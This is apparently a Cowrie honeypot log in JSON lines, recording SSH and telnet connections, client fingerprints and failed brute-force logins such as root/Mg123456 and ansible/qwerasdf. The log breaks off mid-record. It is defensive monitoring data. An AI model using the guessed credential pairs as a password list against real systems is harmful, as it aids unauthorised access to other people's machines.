{"eventid":"cowrie.session.connect","src_ip":"50.99.170.152","src_port":48010,"dst_ip":"159.203.135.109","dst_port":22,"session":"e710094b6e1f","protocol":"ssh","message":"New connection: 50.99.170.152:48010 (159.203.135.109:22) [session: e710094b6e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:57:16.147050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:57:16.152011Z","src_ip":"50.99.170.152","session":"e710094b6e1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:57:16.214782Z","src_ip":"50.99.170.152","session":"e710094b6e1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mg123456","message":"login attempt [root/Mg123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:57:16.490591Z","src_ip":"50.99.170.152","session":"e710094b6e1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:57:17.552439Z","src_ip":"50.99.170.152","session":"e710094b6e1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":39878,"dst_ip":"10.17.0.5","dst_port":23,"session":"70c64e9094e6","protocol":"telnet","message":"New connection: 199.103.61.230:39878 (10.17.0.5:23) [session: 70c64e9094e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:57:55.696946Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":32898,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7442c407ab8","protocol":"ssh","message":"New connection: 159.203.92.129:32898 (159.203.135.109:22) [session: e7442c407ab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:57:59.667869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:57:59.673828Z","src_ip":"159.203.92.129","session":"e7442c407ab8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:57:59.678242Z","src_ip":"159.203.92.129","session":"e7442c407ab8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"qwepoi","message":"login attempt [ansible/qwepoi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:57:59.689807Z","src_ip":"159.203.92.129","session":"e7442c407ab8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:58:00.696500Z","src_ip":"159.203.92.129","session":"e7442c407ab8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.99.170.152","src_port":53566,"dst_ip":"159.203.135.109","dst_port":22,"session":"446729bcee9b","protocol":"ssh","message":"New connection: 50.99.170.152:53566 (159.203.135.109:22) [session: 446729bcee9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:58:12.677238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:58:12.684570Z","src_ip":"50.99.170.152","session":"446729bcee9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:58:12.742955Z","src_ip":"50.99.170.152","session":"446729bcee9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QW23ER45T","message":"login attempt [root/1QW23ER45T] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:58:13.009232Z","src_ip":"50.99.170.152","session":"446729bcee9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:58:14.070653Z","src_ip":"50.99.170.152","session":"446729bcee9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56788,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae8ca169e8b9","protocol":"ssh","message":"New connection: 159.203.92.129:56788 (159.203.135.109:22) [session: ae8ca169e8b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:58:45.499502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:58:45.504830Z","src_ip":"159.203.92.129","session":"ae8ca169e8b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:58:45.509889Z","src_ip":"159.203.92.129","session":"ae8ca169e8b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"qwer1234","message":"login attempt [ansible/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:58:45.521172Z","src_ip":"159.203.92.129","session":"ae8ca169e8b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:58:46.542050Z","src_ip":"159.203.92.129","session":"ae8ca169e8b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":49380,"dst_ip":"10.17.0.5","dst_port":23,"session":"1100f10f011d","protocol":"telnet","message":"New connection: 199.103.61.230:49380 (10.17.0.5:23) [session: 1100f10f011d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:58:49.369105Z"}
{"eventid":"cowrie.session.closed","duration":63.093140602111816,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:58:58.789984Z","src_ip":"199.103.61.230","session":"70c64e9094e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":51662,"dst_ip":"10.17.0.5","dst_port":23,"session":"46a93e575c7b","protocol":"telnet","message":"New connection: 199.103.61.230:51662 (10.17.0.5:23) [session: 46a93e575c7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:59:04.090856Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":51812,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fb6fca4f705","protocol":"telnet","message":"New connection: 199.103.61.230:51812 (10.17.0.5:23) [session: 1fb6fca4f705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:59:07.126862Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.99.170.152","src_port":37454,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae4921c4aa75","protocol":"ssh","message":"New connection: 50.99.170.152:37454 (159.203.135.109:22) [session: ae4921c4aa75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:59:08.896272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:59:08.900885Z","src_ip":"50.99.170.152","session":"ae4921c4aa75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:59:08.958039Z","src_ip":"50.99.170.152","session":"ae4921c4aa75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"express","message":"login attempt [root/express] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:59:09.222936Z","src_ip":"50.99.170.152","session":"ae4921c4aa75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:59:10.282742Z","src_ip":"50.99.170.152","session":"ae4921c4aa75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":52140,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bfd7332698a","protocol":"telnet","message":"New connection: 199.103.61.230:52140 (10.17.0.5:23) [session: 2bfd7332698a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:59:16.339877Z"}
{"eventid":"cowrie.session.closed","duration":31.910646200180054,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:59:21.279629Z","src_ip":"199.103.61.230","session":"1100f10f011d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39336,"dst_ip":"159.203.135.109","dst_port":22,"session":"330bc6a0ed98","protocol":"ssh","message":"New connection: 159.203.92.129:39336 (159.203.135.109:22) [session: 330bc6a0ed98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:59:30.360835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:59:30.366423Z","src_ip":"159.203.92.129","session":"330bc6a0ed98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:59:30.371672Z","src_ip":"159.203.92.129","session":"330bc6a0ed98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"qwerasdf","message":"login attempt [ansible/qwerasdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:59:30.386726Z","src_ip":"159.203.92.129","session":"330bc6a0ed98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":54084,"dst_ip":"159.203.135.109","dst_port":23,"session":"732b6c9ce170","protocol":"telnet","message":"New connection: 62.171.135.55:54084 (159.203.135.109:23) [session: 732b6c9ce170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:59:31.080671Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:59:31.392930Z","src_ip":"159.203.92.129","session":"330bc6a0ed98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.284116983413696,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:59:35.374837Z","src_ip":"199.103.61.230","session":"46a93e575c7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.260131120681763,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:59:38.386897Z","src_ip":"199.103.61.230","session":"1fb6fca4f705","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":55368,"dst_ip":"10.17.0.5","dst_port":23,"session":"bceaedca8567","protocol":"telnet","message":"New connection: 199.103.61.230:55368 (10.17.0.5:23) [session: bceaedca8567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:59:40.663202Z"}
{"eventid":"cowrie.session.closed","duration":30.746658325195312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:59:47.086386Z","src_ip":"199.103.61.230","session":"2bfd7332698a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.99.170.152","src_port":59400,"dst_ip":"159.203.135.109","dst_port":22,"session":"7553c6b71070","protocol":"ssh","message":"New connection: 50.99.170.152:59400 (159.203.135.109:22) [session: 7553c6b71070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:01.269170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:01.274395Z","src_ip":"50.99.170.152","session":"7553c6b71070","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-